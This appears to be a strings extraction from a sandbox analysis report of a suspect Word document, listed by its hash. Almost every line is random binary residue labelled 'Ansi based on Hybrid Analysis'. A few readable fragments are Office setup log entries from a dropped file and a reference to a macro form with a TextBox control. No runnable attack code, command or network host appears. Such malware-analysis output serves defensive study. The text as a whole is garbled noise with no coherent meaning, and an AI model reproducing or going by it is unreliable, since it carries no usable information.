0@BHPXhp"x"p'"''"'"("(("P("x("("("(")"@)"h))")")")" *"H*"p*"*"*"*"+"8+*`+++B++++.`10479<p?@BEGJMPP SUX[`^0adfipl@ortwzP} `0p@P `0p@P `0p@p@P !$`'0*-/2p5@8;=@CPF IKNQ`T0WZ\_pb@ehjmpPs vx{~`0p@P `0p@P `0p@P p@P !$`'0*-/2p5@8;=@CPF IKNQ`T0WZ\_pb@ehjmpPs vx{~`0p@P `0p@P `0p@P p@P !$`'0*-/2p5@8;=@CPF IKNQ`T0WZ\_pb@ehjmpPs vx{~`0p@P `0p@P `0p@P p@P !$`'0*-/2p5@8;=@CPF IKNQ`T0WZ\_pb@ehjmpPs vx{~`0p@P `0p@PBrrpr rrrrrxrrhrrXrrHrr8rr(rrrrrrrprr`rrPrr@rr0rr rrrrrxrrhrrXrrHrr8rr(rrrrrrrprr`rrPrr@rr0rr rrrrrxrrhrrXrrHrr8rr(rrrrrrrprr`rrPrr@rr0rr rrrrrxrrxrrhrrXrrHrr8rr(rrrrrrrprr`rrP

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0\"mCE>]?|zav^vv1;)mBWw31c-L"H+r"yfv>s><>_n?3:r}pa[?~*UW/__~eYHU#X=kK+Zj/KW

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0\'[I?tQB<b:SW)B$gr3mwm?6G>4FOYC4J!**%00+W~igWnXwp$.OX]~]_S4C,'w\~*?4A$$

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0\?-impk:VkX:bU,+5u)5lDhTiN0ttA3

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0]2oKx0~L?DD[t|Dm:{aMX+<T71^eD5~^LIc!Jqyy~^7 OEEgev#0m0Nn777OC~(3#*N~?{D]nu

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0b]yGw[\\j[z^+d;sEnW7D(UM

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0cbjabsn7c3:

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0Gb:@ ZWtVWEVl$Z1=6{2kuwrB$ ,}S*WP&|W8Truh!GNnvqK^!f#;[k*Mx''2c'o]Z*thIcr^WQXt *6pyfO4!SfI'yJg7d|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0i/m#XbO"rl$|QG&qz8T0^u.L3o_b$ 8k/~y?VSMs-3)&/@W?SQ{{{j&MGW7&N@q(/&0ijEC7[OA,;w_Qo`,v<K\x<0If_k?g8|h?]yY~g4JxItt'/*a6~|sC\_I:_9vl

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0iN DQyNDA/(B~`!1!q3/gho.n5|z-U//1wq^X;\cX5l*x}Z

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0lQ<S{#{\Y3'C+_Ze8d

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0L{#u.8KOttzRO"

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0PWu-)0P {$NJ,\[uPiz^!G7>raH'_8*a*dyyHZ[zw>0)'Ivz6lE}#6at|z~M#ndi7yc<>d'K6

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0v`z<wCrQL8q1V-~|*sY]b#3)cK

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0W>2qyTB;T.qCT""*uW!#S;wsNWpTV*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0yXHSaBg3icM_2e d>q ~xqY

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0z=i/{$j"wE1ES.Vnm27,gI'FzL

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

0{ IH+~co")!*-[4}?S4?`l?M}yO]ZA8J/ CM=li;3"ggR~(OWi1ECQrJ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1"16./2=[8VsV4Rqh!VKGV^!Y`;]A{y,1C76.&30_Lo|+f^RSi09;g33x>79?'SLLMbva^egs3SCBjRt6+"/O&WGN?z?=?>?_,{jrLn9|61s+X(E@

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1#W<]&L|9R`18tbQ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1$wl[ool^F~ph6/\[F]nL=VG^8eOL}=XH'qO'8%wWamn4Zy^frxZGv<t4LiqmPG|VA<v&8Cwmwqp/B(Y6(qMq>z>6p.d6eI=yAveH>_@2B%D?q3DyvpF7 *

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1+p%{es)Rk#<N_w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1,V[x/.i<3DtX$]:8!0, `CPZ.0!/_@t]:VN_05{'dtV-./;BrHy|Pq[

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1.hkDuaf/=LaJ1Da

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

12/08/2018 16:45:00 Configuring chained package: OfficeMUI.en-us

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

12/08/2018 17:15:00 Rolling back package: OfficeMUI.en-us

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

1\[Ef+z|eC.]}r.lNW-:d,HcBx)mQcL=S?Z"P(m9F:]s_7sM

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1Bzk.f!xmCMh#~~F}fw Hn4EyXeyG}<|nxS2H/Q)'U!/3f'QRPP*[Vs0K>'2c8|!S<#Rt(;rI

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1eQ-^!$4G6eAK(r2asXy,.TKz(=-CK[lNekpr"[auH

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1f@evYccjFe`dF33(m94<dBqQ pD!S%1~i|UXd17Q.AxLU!U!M9Q9 3CrE!"pq@(qJ79f6bL]d5x1=/)6EHM7^N1Z.__PLFl)

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1I'y=cs \A}"kqVSg$ZMCGYtSg:{^"6Lk)W>73~M'I,~b3G$2yNef"?0[2E6n:5u!2:k ( *}g^.u)#t"r&cWk`oaV'=DVeeqvvM]$0{g>DOy\A\!#l kmfaA40L:4=Uee[y.)'=BE^GS&F LH)l,TgUvig(MVgZ^W}'r'N3<#|:M.'J~#$]371 /a

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1I_XEb|_^patNk>o0=~#W^C}5|W1/yQo$&x&R&*Vd)R@zzzx<= )VWWyaaa+++X__Ws4]S_8NONNq~[Vbu]e{qiXZ^ngmcSbN<0eqcs{;8p8>>1|)(}c^/)f|}>.~?G#k<)^,Q'I}{vl[ao4qd'~BC

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1jl1JRLz`7:Dy95e$gb1"K}y8OS^o;mGHs3/wwQs,dHav/!1T((ac<(@ADDD3"h(dbc(

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1l$c~np}e66-?.abmpXnDa?a~DfxO>|:BL+ar'>{Pf8;0^0tw(8yv^=pp93p7p{h'X

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1M=e$%~JsSK7SngBO;v' )-Yxfpa!"-V!akul

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1o;0~B{(;(#R_Ow7V7*$J{6/b^2v5

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1tdv3<9cuowC)PYm?>^or

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1wlge 4'UpyJknr84W-7['plWE#TVVqq_\e]$`sHce|*Nh|m2p/./ebhZrxHz`1id32Ll:C"'6(bSAc

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1wwd)GvT7:N8@GlYx?)^c%;yg^_;p%.O~zfz;-)6NwLO*d^nQVqxUF<3)3:\7s+.UNR2OLNFiQD<ggBx=@=iApr#nnv%h2AIvLkdszZ9;7zNMMFk-

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1{^ei'n(|so', >C&0A>K`uOoy?H{%L^g

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1|O7~=IO!=mwt0oB}{~INn>Zz~7yP

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1~yOG.W9L;_22b/S[Yq/~O

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

1~|Ro?TWb_s/R%l1<v]c

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

2$Q2&ig9We1W:x>G;%mbgD;u[#{;>orR24cqH\:X!_{$J^Y42@$ 8Mmk\Oiyf:yKl$Soz7K

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

2+Vn[W=!?J?)~*GJ6J\

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

27ry?c\9+_I9

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

29/X{:aQvwXs0;)8qZasE,[Mi vf"8/~Lvs8LW+7PkhtC^E~[EB#s,B+v;(3..WR2Qj_g4.~r!qQ{|4V5G6a/Wq;{/n\EAs/M:8tSmCTa^D#*<bLDA]&*:m\k3qg<Tmz'V

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

2>f>cl0s&$}H/ea/5a?m!3$4aq68:jH4_g6wt=h&O;qbA.uK1f!4>HI[dJZz@g2

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

2>U=i-P^>[/,{R5zy]/gr5H?|>]_'COW'YaI/'+woc?}\>95]>->9)nNKeseY/+[{^K_u+Bh_-w&Z~^66yz~%1q?ze{F`7v_y)reZz9?\5?yOX>]N\)wBr{|\,^Gx:Z"{.L-l?Z]9amq Cx'jpoY!eo

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

2`%:u>g3ZITGG_DoWssCp)4t'[e_AJK}{I[

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

2da{PX5**MsCvTa3;|_7em!m9mVxr~6$v#ExHQ)uA8waUw0$q#HEw_N|YN;SPSU]/_scs*s;c8lG_~Y?iO\>~I/r9H$,?.}E=J_)'X1.??_zgS_K/?{C-/0h0(Oiifh$oy\9,41r

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

2e#)1t;K|@<D$d4TCZ{=]m6zi6s#:-!}cOK8:0r`hy[% .Q'MX)uDesdf;'_S9OUw;4E

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

2IE_FJ*mB

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

2l"sK_Q~N:#e;ye'@^4nK6tdI_q!2;3K/

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

2l}}//Ebr2;vk\q&=ZCJF*oDKC5AQk-6>?>Wa@O{K#cG3e<S9t`/}>Tj/vpf<\jk{djRqp(={0eePv5Sm~dyi1d/FBv!:$m~NQP:~*J{g'P]r>G

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

2N$RbW?OB

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

2xHB~mSc<[XzOz

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3&3~@tD]Y]7G]Se:dF&1"'{inhiBrj${rg%*JnQ%GV3/{z7$YeGLv6@ d8t! d`(+zw=)DO

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3&cah3RigFR08N+Ed3OoG+t`\b8e

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3'swD&wxuXBMb=~*tj%n8@y!B+xW[gdeylMp{=aUpT0'S[n:]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3.bVR\ rb<JXU+Ui)r

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

33eye_RKK>|YZn0Y'gCd]rAd?|P'`d&s5\'QP wynpg%K9IB<SM*^Z6O^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

37]Zk (K44tRj-i5p38sY{

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3?eSy,X'>ag9rn0Q6eg"Br;K/

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3@"2o@~6;G

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3[+@/mc |{Y[Kv

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3[9B4:D+kBEvZ<ki[YDnQjp8nQ',/Me~!6gv

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3]01gSOio&wdNBR'"VKs'Y-1+w:*8cJ`n

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3_S_AuECj?ownw%C4|WaW'0RB} -=Sf4KipdzxzwZl-zEb0hE2~kfxR25.rE^g0z?b9^e5J=M0iaF'b&u:o9

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3D"T&<tFWS#2v^,!~1F6<Hu\j*HOU7`}p["~f|K5]u}]y5ZYgA3~uO/HDCj!HfEF5L[6{V>+P:!R4%FD4-B44FKJ8",e}C9U^6h9KK/5wY"G/

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3f74w`,9C%9Z=Lq1FW>ID9GGNl601uPH$x"_*Lf4t,kWTM20xJLQA75^^yBl6/j^B^r

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3h4-0_|4z<zBl;;EH>6!E"Hb_<N|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3h`n0]BU:Dx 2pKI-R($EDp)R9?!x[B?;mfdAoK6}3\3wDHKUK$%d'LdqxrCi!S&v^_k]J,$^wqoO

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3HOhkn;;,a'vl7]V8*54`!HJpl?v/ -akNup"k{_lGs6c-$!C4$:qy?|@C2-]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3j A|8 ?)?CIZx$5A:~?-n5N<.FXzH!G_9('<{JRAIWh:,^.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3oE@ pn |&q/;n |&q@ p.@!] B@ ;w@ w!@ B@ !{OO@ Ow?p;~&W?f/46D<KwE3hoA0~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3PGktXk_;be2@_Kwq#]/u]r*`UcbY=f&,RSS!2cy8wNl[7$V<U f

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3r:fxvPcr_8O'AEL[gmzHH>#7&)n8QFZH(?0ogY^A)n1|th;WC{%|"VDOnVXROpA.8(k_Eh,tianbey<tS<4<,

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3v4d45*`<w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

3v_&?){W <`LqQndv~,

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

4"v>l-eaHsY*mhL-f)W}20$@cs5FH}HB*7ltuawvb6?8t*J8H'&tY\g[hWFckfOv2292Fl\}s'^ UGB_$Dm%{"-27u7m7p}|+'g]@7<tm@e>W:.UhNZ|mC%^yM}`V\r-cJ:9GxQb3vLGy3` ptxN

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

4*$j(tn^n^aaa

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

40TDaV.xawtmAH7Apn:}-w]|Y{z(oo 6]~2I{GY'Kp#

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

49Nh\FOX,'%tA<_ s[V_~_%fd,F&;7o#p!nQioogC<P9,\gTbg3D0HR].]8z$R]dd3h1?)NtC~yD@3SB$\~/2nH-HH'&GcfQ`"@2+ mV\EX-"8='Kx|<q|gw;$[q{/g|6G2vS _ }\JDtBDvgNhn^_7N$$K:ka;MtF{54@X];!P0QVC.rn%HU1];6d

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

4=7?MmSw7=clv"=]Ncgbfvj\;L+x

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

4?FnDSBnXH}?nb`:~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

4@xqiCSnk!NEAmmu?z]^vZF/O)/C2?W)<rz9l.],-RVhp>s@*`;N?&,wvCmrrLzZt-=~$,aMV{so7]4Eh~s%J:nw7[;h9F9@!?mc9d1myR,8;[l{8'#ewHqx8`zSc5J9gY9HD\[:{Xvr0y'KJIcX9BL2D^gO[FsU);;2yVxbH+OQ/^A05(Gc_4xuA+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

4A;(IK=~D:'BQw?$

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

4A_+3yq8od

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

4AkA#4hpn

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

4AkA#4hpnOF50jrccKy_8Y/ye<||hGtJ+hk+k/;dw]x'/y0U||h9!Ka:x~|Q.^3|_]{(=?zU{yz/J~zLBE(K@|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

4F<K+!/}:0qN'NH8Ae:YBIS4R.0lJ^u2;O!dp6kg(eg*rme=uIy!6?% m>,}u`#V!o+{)[#DD{shNr^D|o2$ma:eom7#OOe7d|,&cW4m]A2M&/#>G6Fxgfk4=QGPkFqZX^P~{[kb1.a<n$}2hS>>{uoD[QiHna=q

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

4j mIx TextBox1, 0, 0, MSForms, TextBoxME PS"SS"s<8<<(<0(1Normal.ThisDocument@ 0%%*1`

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

4M:*mZ/Fn=upWz&/\_~7"P(:=x;!st6~e6aSI8J$Pu'[8Vzy(:*o@#.ToqzBPN!Fnu'Y,\r(-U6Kn,1m^'}/b{x1o9w9;bkpLD6zd,Y8CqyMg.7s*G.XA9uO~@NY0CxwO#`~YG&l$;BG>?-UG>m 4!;F@)g+xSZDZ%|RPKq+oDM(?K]jx;_m+W%_UuVng7xTUXb3Lm*s

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

4MIEdRilIfDEseI9IxxH?DX_[)~Akz!oYutxj26r(J<TNh,==6}Q'oa[F/NHcn~+}p#]4Kno~ib2pJ2seLs\SPDk/g^|uW<_*0Ol*T"<o($wzz@bho@86\vwO&DA&&5eaocGlx%/e1}.y

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

4PUq4gHE-W b1P$;s6r"(Xc{pXadDVA2j6!D";N|uP##(8X4BCUslwc!=36>[FW/MuB

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

4|O2,|q7~/0~8*^`R&D&hnk|Ty_,XP|o;Y0e<S[*~[?&E2e hY!ao <]2p3}=w`.tO`b*Boot=7bf;?S8"ymk~>#E6E(-*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

5!^t<iq/6ywo(7z444,dq"BbK2B719aiOA5jj>=3mz4]3h-0dN~pV(+V

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

5#|.?oyQI0+!4:lL&1t}2-#:xF>90awy<U&(t$}sgoe]F2m[UQ=#I*G#K4qK

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

5./(SVa]k__{Wv;L_vg_*QX;_!444444b7IX000yuqZiIzz6q2[W

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

581N''n'q2|I !~pjgSX7b?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

584L0^3Ax

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

584L0^3AxXS{W;l}8t+*NvW8_Wio'-.tp"tJr%M+V\G)}}c5mYL~>1Oiwg5.]n.1]jggtttt']mn]JWr\[|JtRUOO~49?qt=y!]~~pt;fl]NI_9EYYm/Qz^T_EJUG9<8'|Q,IOikp&hagoNk+F7xQ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

584LgsNZI

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

58xn"3:3\!)K){2$py#>v7K`=DPEMflg*iDE>rJip!0+%nw!\)qrOVO>+L[P?Uu"vpoom@!M%O4#GXHW~qy^t7ztd9g?S{2HOl|JA^])`IWWEI;:)dq}6S>2)Nr|#|18mlV]hDB;WP

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

58{+O@QOU35a1SE`jsbFX/'Nsx_ y8LvIm~95vy<(WAx6<xPUe&FFFw+_~jUs/0I+LF]i23fwOOtRa80{{}}WiHw8wwm<Wj7soeZ|k;5{fB:%Z8[XBu<?A5{|g4L0^3Ax

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

58|2YVZfh.au(IX}4>'zZls0PI5pfg`u:ez_mDxuH^un=uz::xN_4IPtV<18U[5k~'k*OuApD+_ItR*DHr!}*<[CN3xr

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

58|V?+7*~Mr^=O\8UZz

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

5?\\Jq,jdW#PC05H@|&9m77o'-Dd&$yp*t.3%]sl7 fq@>9ms3C9s9i_ cn?0>&%dQ%ls7[spOF7l_iO}~5jiPb'#[[%y)mww`UZJn+vma6Vvf(\~->8yFt_dyXM=;+%IXs$

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

5?iu6qL5Mw'@|5}:=ik_p3){7C!{o_W//Ke~w;7M^"/=|K

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

5]6app;HahI#-oHq% @ kkami1Y.]YM:}gq7\|(QdP}0Hlw;;Zd">MpE"jy6QHa4bc

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

5bd8c j']#wT<'3@Z 1(8wyqO;S?;`LFHRKF|q#9eB4'zxs+yTPKGtao O|,(SW!my-o+vWsA7.3>N^GG#zECJ 81

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

5btp(9\[?~R_].+V

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

5gzowl {,=L~g*_g#,{-MG5q[&-JZt/R~:=?}-.2.u.3a}>`Uuh]ZY/t?+\m5!ri=.,)<]%;D}z/oo*r

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

5i)Og[{KVy_]BF48v3<=S>8[r|B5]*=|o7yt^+c2(

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

5MLeT2y&V62c,f']fovd5etlTB%(HF3jpp,1]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

5O @4E)dD"/~Ig3.^2}$wy@tz1;FJK=BaoKhn(Ul8v73<,<!>L=/#f=vv9?D`~hTNeCI(jjE.Myq\<C%hr\RZkZ1SSPUsv<6arD&wGc#]zei<T8TWe<~pp

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

5o!~uB@XBHzCBh |WG#q5D[`p:N4lDIG]$i#mRrcq(gnyevn/k~7T>/JiG@hfy~yDxSF4?+>w>D3i -^ 3?IK)^R{HMM9~PqNI;'>NiZWVm^q!LBxF

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

5sw2fy]-n Zxj"!0r~=~mZhg:|L705Y'6VytNY^kVjW=uk[+W.Ck+7o\|}:Q

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

5{GOY'LW#w$"GAW`9 aUq%>iDF|"*)}[ 9

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

